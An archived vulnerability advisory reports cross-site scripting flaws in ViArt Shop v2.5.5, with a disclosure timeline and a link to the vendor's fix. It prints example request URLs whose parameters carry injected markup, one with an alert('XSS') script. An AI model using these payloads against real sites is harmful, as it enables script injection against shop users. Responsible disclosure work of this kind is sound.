AOH :: HP Unsorted V :: B06-2804.HTM

Viart shop v2.5.5 - xss vulnerability



ViArt Shop v2.5.5 - XSS Vulnerability
ViArt Shop v2.5.5 - XSS Vulnerability



ViArt Shop v2.5.5 Free (and possibly Light, Standard, and Enterprise)

Authors Site: http://www.codetosell.com/ 

+-[Examples:]--------------------------------------------------+

XSS:

/forum.php?forum_id=">&category_id=1

/reviews.php?category_id=0&item_id=4&rnd=1149618267&action=1&item_id=">alert('XSS');&category_id=0&recommended=1&rating=0&summary=1&com
ments=1&user_name=1


+-[Notes:]-----------------------------------------------------+

Vulnerabilities found on: 6 June 2006
Author(s) Informed on: 7 June 2006
Author(s) Response: 7 June 2006
Author(s) Fix: 7 June 2006

Authors Fix: http://www.codetosell.com/downloads/xss_fix.zip 

JohnC@NoBytes.com 

http://www.NoBytes.com 



The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.